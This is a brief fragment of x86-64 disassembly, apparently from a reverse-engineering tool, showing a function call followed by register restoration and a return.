mov byte [rax + 0x26], 0
mov rdx, rax
mov ecx, 4
call fcn.18006a848
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop r12
pop rdi
ret